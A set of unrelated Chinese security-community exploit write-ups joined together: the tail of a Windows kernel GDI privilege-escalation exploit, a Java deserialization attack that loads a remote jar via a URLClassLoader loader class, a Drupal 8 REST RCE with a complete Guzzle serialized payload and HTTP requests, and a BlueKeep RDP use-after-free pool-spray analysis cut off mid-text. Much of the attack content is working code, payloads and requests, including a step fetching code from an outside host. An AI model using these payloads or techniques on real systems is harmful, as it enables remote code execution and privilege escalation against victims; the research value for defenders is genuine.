xor_rtl_bitmap运算之后指向view域和RTL_BITMAP即可，在调试的过程中我发现pushlock必须是指向有效结构的指针，否则会触发BUGCHECK，因此我申请了0x1e0000用于存放pushlock的内容。 如第二节所述，bitmap_hint_index会作为快速查找RTL_BITMAP的条件，因此这个值也需要置为空值表示RTL_BITMAP的状态。同理我们来看一下RTL_BITMAP的结构。 typedef struct _RTL_BITMAP { ULONG64 size; // + 0x00 PVOID bitmap_buffer; // + 0x08 } RTL_BITMAP, *PRTL_BITMAP; kd> dyb fffff322401b90b0 76543210 76543210 76543210 76543210 -------- -------- -------- -------- fffff322`401b90b0 11110000 00000000 00000000 00000000 f0 00 00 00 fffff322`401b90b4 00000000 00000000 00000000 00000000 00 00 00 00 fffff322`401b90b8 11000000 10010000 00011011 01000000 c0 90 1b 40 fffff322`401b90bc 00100010 11110011 11111111 11111111 22 f3 ff ff fffff322`401b90c0 11111111 11111111 11111111 11111111 ff ff ff ff fffff322`401b90c4 11111111 11111111 11111111 11111111 ff ff ff ff fffff322`401b90c8 11111111 11111111 11111111 11111111 ff ff ff ff fffff322`401b90cc 11111111 11111111 11111111 11111111 ff ff ff ff kd> dq fffff322401b90b0 fffff322`401b90b0 00000000`000000f0 fffff322`401b90c0//ptr to rtl_bitmap buffer fffff322`401b90c0 ffffffff`ffffffff ffffffff`ffffffff fffff322`401b90d0 ffffffff`ffffffff 这里我选取了一个有效的RTL_BITMAP作为模板，其中第一个成员变量表示RTL_BITMAP size，第二个成员变量指向后面的bitmap_buffer，而紧邻的bitmap_buffer以比特为单位表示view域状态，我们为了欺骗typeisolation，将其全部置0，表示当前CSectionEntry项的view域全部空闲，参考0x190000 fake RTL_BITMAP结构。 接下来我们只需要通过HEVD的Arbitrary write漏洞修改CSectionEntry中view和CSectionBitmapAllocator指针即可。 kd> dq ffff862e827ca220//正常时 ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300 ffff862e`827ca230 ffffc383`08613880 ffff862e`84780000 ffff862e`827ca240 ffff862e`827f33c0 00000000`00000000 kd> g//触发漏洞后，CSectionEntry-&gt;view和CSectionEntry-&gt;bitmap_allocator被修改 Break instruction exception - code 80000003 (first chance) 0033:00007ff7`abc21e35 cc int 3 kd> dq ffff862e827ca220 ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300 ffff862e`827ca230 ffffc383`08613880 00000000`001f0000 ffff862e`827ca240 00000000`001c0000 00000000`00000000 接下来我们正常申请一个GDI object，调用CreateBitmap创建一个bitmap object，然后观察view域的状态。 kd> g Break instruction exception - code 80000003 (first chance) 0033:00007ff7`abc21ec8 cc int 3 kd> dq 1f0280 00000000`001f0280 00000000`00051a2e 00000000`00000000 00000000`001f0290 ffffd40a`cc9fd700 00000000`00000000 00000000`001f02a0 00000000`00051a2e 00000000`00000000 00000000`001f02b0 00000000`00000000 00000002`00000040 00000000`001f02c0 00000000`00000080 ffff862e`8277da30 00000000`001f02d0 ffff862e`8277da30 00003f02`00000040 00000000`001f02e0 00010000`00000003 00000000`00000000 00000000`001f02f0 00000000`04800200 00000000`00000000 可以看到bitmap的kernel object被放置在了fake view域中，我们可以直接从userspace读到bitmap的kernel object，接下来，我们只需要直接通过修改userspace中存放的bitmap kernel object的pvScan0，再通过GetBitmapBits/SetBitmapBits来完成任意地址读写。 总结一下整个利用过程： **Fix for full exploit：** 在完成exploit的过程中，我发现了某些时候会产生BSOD，这大大降低了GDI data-only attack的稳定性，比如说 kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* SYSTEM_SERVICE_EXCEPTION (3b) An exception happened while executing a system service routine. Arguments: Arg1: 00000000c0000005, Exception code that caused the bugcheck Arg2: ffffd7d895bd9847, Address of the instruction which caused the bugcheck Arg3: ffff8c8f89e98cf0, Address of the context record for the exception that caused the bugcheck Arg4: 0000000000000000, zero. Debugging Details: ------------------ OVERLAPPED_MODULE: Address regions for 'dxgmms1' and 'dump_storport.sys' overlap EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx FAULTING_IP: win32kbase!NSInstrumentation::CTypeIsolation<163840,640>::AllocateType+47 ffffd7d8`95bd9847 488b1e mov rbx,qword ptr [rsi] CONTEXT: ffff8c8f89e98cf0 -- (.cxr 0xffff8c8f89e98cf0) .cxr 0xffff8c8f89e98cf0 rax=ffffdb0039e7c080 rbx=ffffd7a7424e4e00 rcx=ffffdb0039e7c080 rdx=ffffd7a7424e4e00 rsi=00000000001e0000 rdi=ffffd7a740000660 rip=ffffd7d895bd9847 rsp=ffff8c8f89e996e0 rbp=0000000000000000 r8=ffff8c8f89e996b8 r9=0000000000000001 r10=7ffffffffffffffc r11=0000000000000027 r12=00000000000000ea r13=ffffd7a740000680 r14=ffffd7a7424dca70 r15=0000000000000027 iopl=0 nv up ei pl nz na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206 win32kbase!NSInstrumentation::CTypeIsolation<163840,640>::AllocateType+0x47: ffffd7d8`95bd9847 488b1e mov rbx,qword ptr [rsi] ds:002b:00000000`001e0000=???????????????? 经过多次跟踪后我发现，BSOD产生的原因主要是我们通过VirtualAllocEx时申请的fake struct位于我们当前进程的进程空间，这个空间不被其他进程共享，也就是说，如果我们通过漏洞修改了view域和CSectionBitmapAllocator的指针之后，当其他进程申请GDI object时，同样会遍历CSecitionEntry，当遍历到我们通过漏洞修改的CSectionEntry时，会因为指向进程地址空间无效，产生BSoD，所以这里当触发漏洞之后我做了第一次fix。 DWORD64 fix_bitmapbits1 = 0xffffffffffffffff; DWORD64 fix_bitmapbits2 = 0xffffffffffff; DWORD64 fix_number = 0x2800000000; CopyMemory((void *)(fakertl_bitmap + 0x10), &fix_bitmapbits1, 0x8); CopyMemory((void *)(fakertl_bitmap + 0x18), &fix_bitmapbits1, 0x8); CopyMemory((void *)(fakertl_bitmap + 0x20), &fix_bitmapbits1, 0x8); CopyMemory((void *)(fakertl_bitmap + 0x28), &fix_bitmapbits2, 0x8); CopyMemory((void *)(fakeallocator + 0x20), &fix_number, 0x8); 在第一个fix中，我修改了bitmap_hint_index和rtl_bitmap，欺骗typeisolation在遍历CSectionEntry的时候认为fake CSectionEntry的view域目前已被占满，就会直接跳过这个CSectionEntry。 我们知道当前的CSectionEntry已经被我们修改，因此即使我们结束了exploit退出进程后CSectionEntry仍然会作为CTypeIsolation双向链表的一部分，而我们进程退出时，VirtualAllocEx申请的当前进程用户空间会被释放掉，这就会引发很多未知的错误，而我们已经通过漏洞拥有了任意地址读写的能力，于是我进行了第二次fix。 ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress + 0x8, (BYTE *)&amp;CSectionPrevious, sizeof(DWORD64)); ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress, (BYTE *)&amp;CSectionNext, sizeof(DWORD64)); LogMessage(L_INFO, L"Current CSectionEntry-&gt;previous: 0x%p", CSectionPrevious); LogMessage(L_INFO, L"Current CSectionEntry-&gt;next: 0x%p", CSectionNext); ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionNext + 0x8, (BYTE *)&amp;CSectionPrevious, sizeof(DWORD64)); ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionPrevious, (BYTE *)&amp;CSectionNext, sizeof(DWORD64)); 第二次fix中，我获取了CSectionEntry->previous和CSectionEntry->next，将当前CSectionEntry脱链(unlink)，这样在GDI object分配遍历CSectionEntry时，就不会再对fake CSectionEntry处理。 当完成这两个fix之后，就可以成功利用GDI data-only attack完成任意地址读写了，这里我直接获取到了最新版Windows10 rs3的SYSTEM权限，但是在进程完全退出的时候却再一次引发了BSoD。经过分析发现，这个BSoD是由于进行了unlink之后，由于GDI的句柄保存在GDI handle table中，这时会去CSectionEntry中找到对应内核对象并free掉，而我们存放bitmap kernel object的CSectionEntry已经被unlink，引发了BSoD的发生。 问题发生在NtGdiCloseProcess中，该函数负责释放当前进程的GDI object，跟SURFACE相关的调用链如下 0e ffff858c`8ef77300 ffff842e`52a57244 win32kbase!SURFACE::bDeleteSurface+0x7ef 0f ffff858c`8ef774d0 ffff842e`52a1303f win32kbase!SURFREF::bDeleteSurface+0x14 10 ffff858c`8ef77500 ffff842e`52a0cbef win32kbase!vCleanupSurfaces+0x87 11 ffff858c`8ef77530 ffff842e`52a0c804 win32kbase!NtGdiCloseProcess+0x11f bDeleteSurface负责释放Gdi handle table中的SURFACE内核对象，我们需要在GDI handle table中找到存放在fake view中的HBITMAP，并且将其置0，这样就会在bDeleteSurface中不进行后续的free处理，直接跳过再调用HmgNextOwned释放下一个GDI object。关于查找HBITMAP在GDI handle table中的位置的关键代码在HmgSharedLockCheck中，其关键代码如下： v4 = *(_QWORD *)(*(_QWORD *)(**(_QWORD **)(v10 + 24) + 8 * ((unsigned __int64)(unsigned int)v6 >> 8)) + 16i64 * (unsigned __int8)v6 + 8); 这里我还原了一个完整的查找bitmap对象的计算方法： *(*(*(*(*win32kbase!gpHandleManager+10)+8)+18)+(hbitmap&0xffff>>8)*8)+hbitmap&0xff*2*8 值得一提的是这里需要泄露win32kbase.sys的基址，在Low IL的情况下需要漏洞来leak info，我是通过在Medium IL下用NtQuerySystemInformation泄露win32kbase.sys基址从而计算出gpHandleManager的地址，之后找到fake view中bitmap在Gdi handle table中的对象位置，并置0，最后完成了full exploit。 现在内核利用越来越难，一个漏洞往往需要其他漏洞的支持，比如info leak。而相比越界写，uaf，double free和write-what-where这几种漏洞，pool overflow在使用这种方案利用上更为复杂，因为涉及到CSectionEntry->previous和CSectionEntry->next的问题，但并不是不可能在pool overflow中使用这种方法。 作者水平有限，如果有问题欢迎交流讨论，谢谢！ #### 五、参考 * <https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives> * <https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/5A1F/DEFCON-25-5A1F-Demystifying-Kernel-Exploitation-By-Abusing-GDI-Objects.pdf> * <https://blog.quarkslab.com/reverse-engineering-the-win32k-type-isolation-mitigation.html> * <https://github.com/sam-b/windows_kernel_address_leaks> * * * _本文经安全客授权发布，转载请联系安全客平台。_ * * *
社区文章
## 前言 前几天学习了pyn3rd师傅的[从SPI机制到JDBC后门实现](http://tttang.com/archive/1819/)一文 主要是的思路是利用的SPI机制，进行的RCE, 主要是在`DriverManager`类中能够通过SPI机制获取classpath下所有jar包的的`META-INF/services/java.sql.Driver`中的类对象 之后在获取其中的JDBC实现类的时候，使用的是`Class.forname`进行类的获取 所以，师傅的思路就是构造了一个恶意的jar包，在`java.sql.Driver`文件下指向我们实现的恶意类，因为在使用`Class.forname`加载类的时候，将会触发他的static代码块，所以我们可以在static下实现我们的意类逻辑 但是，在师傅的文章中，是在本机进行实验的，直接将构造的恶意jar包手动添加进入classpath下 我这里进行了简单的改造，通过反序列化漏洞作为入口，动态的添加远程jar包进入运行程序的classpath中，之后在进行JDBC连接的时候触发恶意逻辑 ## 回顾 其他的师傅都说的很详细，我这里主要是学习一下具体的SPI实现 在使用`DriverManager.getConnection`方法建立数据的连接中，首先会初始化`DriverManager`类对象 将会触发他的static代码块 注释中也存在有解释，加载初始化的JDBC驱动，之后使用 `ServiceLoader`机制 体现在代码中就是调用了`loadInitialDrivers` 主要是通过`classloader`得到所有的驱动，调用了`ServiceLoader.load(Driver.class)`方法进行获取 使用当前线程的上下文加载器，获取到`service`的loader 在`ServiceLoader.load`方法的调用过程中创建了一个`ServiceLoader`对象 在其构造方法中，调用reload方法进行重新加载 之后回到了`loadInitialDrivers`方法的调用 加载所有的服务 可以跟进到`ServiceLoader#hasNextService`方法中 将需要发现的服务添加进入了`URLClassPath`中进行寻找 在加载对应的服务主要是在`ServiceLoader#nextService`方法中 这一小部分的调用栈为： nextService:370, ServiceLoader$LazyIterator (java.util) next:404, ServiceLoader$LazyIterator (java.util) next:480, ServiceLoader$1 (java.util) run:603, DriverManager$2 (java.sql) run:583, DriverManager$2 (java.sql) doPrivileged:-1, AccessController (java.security) loadInitialDrivers:583, DriverManager (java.sql) <clinit>:101, DriverManager (java.sql) test:29, TestController (com.roboterh.vuln.controller) ## 反序列化漏洞利用 ### 环境搭建 这里我使用的环境是 1. springboot 2.5.0 2. <dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.2.23</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.30</version> </dependency> 反序列化入口 @Controller public class CommonsCollectionsVuln { @ResponseBody @RequestMapping("/unser") public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception { java.io.InputStream inputStream = request.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); response.getWriter().println("successfully!!!"); } @ResponseBody @RequestMapping("/demo") public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{ response.getWriter().println("This is a Demo!!!"); } } 创建了一个进行数据库连接的接口 @RequestMapping("/createSql") public void test() { try { Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "root"); Statement statement = connection.createStatement(); String sql = "select * from user"; ResultSet resultSet = statement.executeQuery(sql); while (resultSet.next()) { System.out.println("id==>" + resultSet.getInt(1)); System.out.println("name==>" + resultSet.getString(2)); } } catch (SQLException e) { e.printStackTrace(); } } } ### 加载远程jar包 首先就是构造一个恶意的jar包 之后就是使用`URLClassLoader`加载远程jar包 我这里使用的是CC6进行反序列化利用，需要继承`AbstractTranslet`类 package pers.cc; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; public class loadJar extends AbstractTranslet { static { String url = "http://172.27.17.8:8888/EvilJar.jar"; try { URL url1 = new URL(url); // 获取类加载器的addURL方法 Class<?> aClass = Class.forName("java.net.URLClassLoader"); Method addURL = aClass.getDeclaredMethod("addURL", URL.class); addURL.setAccessible(true); // 获取系统类加载器 URLClassLoader systemClassLoader = (URLClassLoader) ClassLoader.getSystemClassLoader(); addURL.invoke(systemClassLoader, url1); } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } 值得注意的是为了更好的显示是否成功加载远程的恶意jar包，我在`loadJar`类中添加了如下代码 try { Class<?> aClass1 = Class.forName("com.mysql.fake.jdbc.FakeDriver"); System.out.println("Class loaded!"); } catch (ClassNotFoundException e) { System.out.println("Class not found!"); } 之后就是运行漏洞环境，发送序列化数据 我们可以在控制台中知道能够成功加载 ### 触发漏洞 在将远程jar包添加进入了classpath之后，尝试进行JDBC连接触发漏洞 能够通过反序列化的方式进行这种方式的利用
社区文章
# Drupal8's REST RCE 漏洞利用 Drupal中再次被曝出存在远程代码执行漏洞，漏洞的位置位于Drupal8的REST模块，该模块在默认情况下是禁用的。通过使用Drupal提供的补丁，我们能够有效地利用漏洞；但是，我们发现针对该漏洞提出的即时补救措施并不完整。因此我们决定公布我们的研究和PoC。 # 分析 [Drupal的建议](https://www.drupal.org/sa-core-2019-003 "Drupal的建议")相当明确地说明了罪魁祸首：REST模块（如果启用）允许任意代码执行。Drupal表明启用PATCH或POST请求是很有风险的，但即使在REST配置中禁用了POST / PATCH请求，RCE也可以通过GET请求触发，并且无需任何类型的身份验证。 因此，"禁用web服务商的PUT/PATCH/POST请求"是非常片面的建议，不能有效地保护该漏洞。升级Drupal或禁用REST模块是唯一的解决方案。 # Standard REST behaviour... 默认情况下，在启用REST模块时启用`/node/{id}` API。 Drupal的REST文档提供了一个编辑节点的简单示例： POST /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1 Host: 192.168.56.101 Content-Type: application/hal+json Content-Length: 286 { "_links": { "type": { "href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/article" } }, "type": { "target_id": "article" }, "title": { "value": "My Article" }, "body": { "value": "some body content aaa bbb ccc" } } Drupal为node对象创建属性title、type和body。实际上，Drupal可以对任何`ContentEntityBase`对象进行`json`反序列化。 由于我们没有经过身份验证，所以请求失败。 # unexpected behaviour 然而，将`POST`更改为`GET`，并发送无效`href`值，如下所示： GET /drupal-8.6.9/node/3?_format=hal_json HTTP/1.1 Host: 192.168.56.101 Content-Type: application/hal+json Content-Length: 287 { "_links": { "type": { "href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/INVALID_VALUE" } }, "type": { "target_id": "article" }, "title": { "value": "My Article" }, "body": { "value": "some body content aaa bbb ccc" } } 得到： HTTP/1.1 422 Unprocessable Entity {"message":"Type http:\/\/192.168.56.101\/drupal-8.6.9\/rest\/type\/node\/INVALID_VALUE does not correspond to an entity on this site."} 这表明通过未经身份验证的GET请求，数据会被处理。 # 分析补丁 通过对比Drupal 8.6.9和8.6.10，我们发现在REST模块中，`FieldItemNormalizer`现在使用了一个新的trait`SerializedColumnNormalizerTrait`。此trait提供`checkForSerializedStrings()`方法，简而言之，如果为存储为序列化字符串的值提供字符串,则该方法将引发异常。这相当清楚地表明了利用过程:通过REST请求，攻击者需要发送一个序列化的属性。此属性稍后将被`unserialized()`，可以使用`PHPGGC`等工具轻松地利用该属性。另一个修改后的文件指出可以使用哪些属性:`LinkItem`现在使用`unserialize($values['options'], ['allowed_classes' => FALSE])`;而不是标准`unserialize($values['options']);`。 对于所有的`FieldItemBase`子类，`LinkItem`引用一个属性类型。 # 触发unserialize() 利用这些元素，触发unserialize相当容易： GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1 Host: 192.168.1.25 Content-Type: application/hal+json Content-Length: 642 { "link": [ { "value": "link", "options": "<SERIALIZED_CONTENT>" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } } 由于Drupal 8使用[Guzzle](http://docs.guzzlephp.org/en/stable/ "Guzzle")，我们可以使用PHPGGC生成payload： $ ./phpggc guzzle/rce1 system id --json "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" 我们现在可以通过GET发送payload： GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1 Host: 192.168.1.25 Content-Type: application/hal+json Content-Length: 642 { "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } } Drupal响应： HTTP/1.1 200 OK Link: <...> X-Generator: Drupal 8 (https://www.drupal.org) X-Drupal-Cache: MISS Connection: close Content-Type: application/hal+json Content-Length: 9012 {...}uid=33(www-data) gid=33(www-data) groups=33(www-data) > 注意：Drupal缓存响应：如果您在测试环境中，请清除缓存。 以上。 https://www.ambionics.io/blog/drupal8-rce
社区文章
**作者：SungLin@知道创宇404实验室 时间：2019年9月18日 ** ### 0x00 信道的创建、连接与释放 通道的数据包定义在MCS Connect Inittial PDU with GCC Conference Create Request中，在rdp连接过程如下图所示： ![ ](https://images.seebug.org/content/images/2019/09/875ffe2f-8970-4a71-944a-8e57e66419c9.png-w331s) 信道创建数据包格式如下： ![ ](https://images.seebug.org/content/images/2019/09/67bfb853-923a-4713-b454-eedcedfe8690.png-w331s) 在MCS Connect Inittial中属于Client Network Data数据段，`MS_T120`将会在连接一开始的时候通过函数`termdd!_IcaRegisterVcBin`创建一个虚拟通道id是0x1f大小为0x18的结构体，之后就调用`termdd!IcaCreateChannel`开始创建大小为0x8c的信道结构体之后将会与虚拟通道id是0x1f绑定，也就是这个结构体将会被我们利用 ![ ](https://images.seebug.org/content/images/2019/09/3da4ddff-9147-425a-98cb-63fd18817561.png-w331s) 信道的定义字段主要是名字加上配置，配置主要包括了优先级等 ![ ](https://images.seebug.org/content/images/2019/09/4c684559-17fb-4ada-8783-119605ab21d6.png-w331s) 在server对MCS Connect Inittial应答包，将会依次给出对应虚拟通道的id值： ![ ](https://images.seebug.org/content/images/2019/09/8399d56d-a63c-4e5e-9379-ac1ed5f75f1b.png-w331s) 在rdp内核中依次注册的值对应应该是0、1、2、3, MS_T120信道将会通过我们发送的用户虚拟id为3的值再一次绑定，首先通过`termdd!_IcaFindVcBind`找到了刚开始注册的虚拟通道id是0x1f，如下所示： ![ ](https://images.seebug.org/content/images/2019/09/30c7c24c-e2f6-4a9e-834f-5ffcff061b0b.png-w331s) 但是在`termdd!_IcaBindChannel`时，却将我们自定义的id值为3与信道结构体再一次绑定在一起了,此信道结构体就是MS_T120 ![ ](https://images.seebug.org/content/images/2019/09/37334a80-917c-42c6-bc32-7b32a95c471a.png-w331s) 同时我们自己的用户id将内部绑定的0x1f给覆盖了 ![ ](https://images.seebug.org/content/images/2019/09/ef13896d-dd82-44a4-afd4-61baed01c3f1.png-w331s) 我们往信道MS_T120发送数据主动释放其分配的结构体，其传入虚拟通道id值为3通过函数`termdd!IcaFindChannel`在channeltable中查找返回对应的信道结构体： ![ ](https://images.seebug.org/content/images/2019/09/37329360-87ff-41e8-be59-d1cdb08a3367.png-w331s) 下图为返回的MS_T120信道结构体，其中0xf77b4300为此信道可调用的函数指针数组： ![ ](https://images.seebug.org/content/images/2019/09/48865276-a416-4b76-b675-a827b0c52d05.png-w331s) 在这个函数指针数组中主要存放了三个函数，其中对应了`termdd!IcaCloseChannel`、`termdd!IcaReadChannel`、`termdd!IcaWriteChannel` ![ ](https://images.seebug.org/content/images/2019/09/1fbba492-81a0-4a02-87a3-f1e326df08fd.png-w331s) 我们传入释放MS_T120信道的数据如下，字节大小为0x12，主要数据对应了0x02 ![ ](https://images.seebug.org/content/images/2019/09/761329ec-0f71-429f-bb19-dbc3c654e38c.png-w331s) 之后将会进入`nt! IofCompleteRequest`函数，通过apc注入后，将会通过`nt! IopCompleteRequest`和`nt!IopAbortRequest`进行数据请求的响应，最终在`termdd!IcaDispatch`完成我们发送数据的的请求，`_BYTE v2`就是我们发送的数据，所以我们发送的数据0x02将会最终调用到IcaClose函数进入IcaCloseChannel函数，最后主动释放掉了`MS_T120`信道结构体 ![ ](https://images.seebug.org/content/images/2019/09/7f6414b9-4ee6-441f-85c6-c13c6b55472e.png-w331s) ![ ](https://images.seebug.org/content/images/2019/09/f6022d24-1974-483c-812a-1df106db9f8c.png-w331s) ### 0x01 通过RDPDR信道进行数据占位 我们先来了解下rdpdr信道，首先rdpdr信道是文件系统虚拟通道扩展，该扩展在名为rdpdr的静态虚拟通道上运行。目的是将访问从服务器重定向到客户端文件系统，其数据头部将会主要是两种标识和PacketId字段组成： ![ ](https://images.seebug.org/content/images/2019/09/215c851b-d7fa-4a8b-aa41-71fa873ff775.png-w331s) 在这里我们刚好利用到了rdpde客户端name响应的数据来进行池内存的占位 ![ ](https://images.seebug.org/content/images/2019/09/e73ccc73-c729-4d99-9ac5-1a5600cf1643.png-w331s) 在完全建立连接后，将会创建rdpdr信道的结构体 ![ ](https://images.seebug.org/content/images/2019/09/722a1a88-0a55-47f2-86d9-4891684a6709.png-w331s) 在window7中，在建立完成后接收到server的rdpdr请求后，通过发送客户端name响应数据，将会调用到`termdd! IcaChannelInputInternal`中的ExAllocatePoolWithTag分配非分页池内存，并且其长度是我们可以控制的，基本满足了UAF利用的需求： ![ ](https://images.seebug.org/content/images/2019/09/91286064-8fb6-4a7a-9ef8-e8f6f4fcf946.png-w331s) 可是在windowsxp中，直接发送client name request将会导致内存分配失败，直接进入`termdd! _IcaCopyDataToUserBuffer`,并且在Tao Yan and Jin Chen[1]一文中也提到了通过发送client name request在触发一定的条件后将会绕过`termdd!_IcaCopyDataToUserBuffer`而进入ExAllocatePoolWithTag分配我们想要的非分页内存，而打破条件如下： ![ ](https://images.seebug.org/content/images/2019/09/1770153a-ffc4-4ea6-b942-733b048f43cd.png-w331s) 我们先来看看最开始信道结构体的创建，我们可以发现从一开始创建信道结构体的时候，将会出现两个标志，而这两个标志是按照地址顺序排列的，而在上面需要打破的条件中，只要channelstruct +0x108的地址存放的是同一个地址，循环就会被break ![ ](https://images.seebug.org/content/images/2019/09/572d112f-67e0-468c-9097-8616677a57b5.png-w331s) 我们发送一个正常的rdpdr的name request数据包，头部标识是0x7244和0x4e43 经过`termdd!_IcaCopyDataToUserBuffer`之后，将会进入`nt!IofCompleteRequest`，在响应请求后进入`rdpdr!DrSession::ReadCompletion`,此函数处理逻辑如下，其将会遍历一个链表，从链表中取出对应的vftable函数数组 ![ ](https://images.seebug.org/content/images/2019/09/de5be446-bf47-4c39-b6fa-496a298bdb5e.png-w331s) 遍历第一次取出第一张函数数组 ![ ](https://images.seebug.org/content/images/2019/09/23900530-fba5-4302-b509-7877abb13ea6.png-w331s) ![ ](https://images.seebug.org/content/images/2019/09/6b6be4bd-c053-404f-872e-10328d4149f1.png-w331s) 传入我们发送的数据后，通过函数数组调用`rdpdr!DrSession::RecognizePacket`进行读取 ![ ](https://images.seebug.org/content/images/2019/09/6f5e5ff7-614f-4eb4-90c2-c70b4db7af61.png-w331s) 判断头部标志是否为（RDPDR_CTYP_CORE）0x7244 ![ ](https://images.seebug.org/content/images/2019/09/181261d4-46e3-4297-acbd-c94914406e8c.png-w331s) 接着将会读取函数vftable第二个地址，进行转发 ![ ](https://images.seebug.org/content/images/2019/09/c7603d2b-45f7-4f2f-aeb4-fbef6dd7e897.png-w331s) 如下图可以看到rdpdr的数据包处理逻辑 ![ ](https://images.seebug.org/content/images/2019/09/7e33ca52-2bc8-4e9d-8128-8086442b99b8.png-w331s) rdpdr经过一系列数据包处理后最终进入了我们关心的地方，将会传入channelstruct通过调用`termdd! _IcaQueueReadChannelRequest`进行标志位的处理 ![ ](https://images.seebug.org/content/images/2019/09/a0bf25fe-5fda-456c-9c0f-47511855f53f.png-w331s) 最初rdpdr的channelstruct的标志位如下 ![ ](https://images.seebug.org/content/images/2019/09/b6235f61-e054-4480-b38e-fcf46568495f.png-w331s) 经过函数`termdd! _IcaQueueReadChannelRequest`对此标志的处理后变成如下，所以下一个数据依然会进入`termdd!_IcaCopyDataToUserBuffer`，导致我们进行池喷射的失败 ![ ](https://images.seebug.org/content/images/2019/09/0fa6fa69-256e-4d0d-b1f1-95feec938229.png-w331s) 回到rdpdr头部处理函数`rdpdr!DrSession::RecognizePacket`，我们发现在链表遍历失败后将会进行跳转，最后将会进入读取失败处理函数`rdpdr!DrSession::ChannelIoFailed`，然后直接return了 ![ ](https://images.seebug.org/content/images/2019/09/83bc202f-7751-4e61-bb03-17f10a07e884.png-w331s) ![ ](https://images.seebug.org/content/images/2019/09/8778d2de-c15d-4345-852f-2fba56509e0a.png-w331s) 我们构造一个头部异常的数据包发送，头部标志我们构造的是0x7240，将会导致`rdpdr!DrSession::RecognizePacket`判断失败，之后将会继续遍历链表依次再取出两张函数数组 ![ ](https://images.seebug.org/content/images/2019/09/66d3c183-76d0-4ac1-b363-7c71a6240008.png-w331s) 最后两个函数数组依次调用`rdpdr!DrExchangeManager::RecognizePacket`和`rdpdr!DrDeviceManager::RecognizePacket`，都会判断错误的头部标志0x7240，最后导致链表遍历完后进行错误跳转，直接绕过了`termdd! _IcaQueueReadChannelRequest`对标志位的修改，将会打破循环 ![ ](https://images.seebug.org/content/images/2019/09/b9df7ddf-76d9-442d-8c1f-49f3a98506fa.png-w331s) ![ ](https://images.seebug.org/content/images/2019/09/e3f58def-e74e-43bc-9c71-ce123cbb46c0.png-w331s) 最后我们连续构造多个错误的数据包后将会进入`ExAllocatePoolWithTag`，分配到我们需要的非分页内存！ ![ ](https://images.seebug.org/content/images/2019/09/3d61f243-08c0-4057-a5e4-1c40ef462bd5.png-w331s) ### 0x02 win7 EXP 池喷射简要分析 首先被释放的MS_T120池大小包括是0x170,池的标志是TSic ![ ](https://images.seebug.org/content/images/2019/09/c1956b9b-ff90-469d-a174-4a724f6f81fc.png-w331s) 分析Win7 exp 可以知道数据占位是用的rdpsnd信道，作者没有采用rdpdr信道，应该也和喷射的稳定性有关，rdpsnd喷射是再建立完了rdpdr初始化后开始的，在free掉MS_T120结构体前，发送了1044个数据包去申请0x170大小的池内存，这样做可以说应该是为了防止之后被free掉的内存被其他程序占用了，提高free后内存被我们占用的生存几率 ![ ](https://images.seebug.org/content/images/2019/09/8a2e70ca-8ac4-40bf-b549-28b9101ef206.png-w331s) 占位被free的实际数据大小为0x128,利用的中转地址是0xfffffa80ec000948 ![ 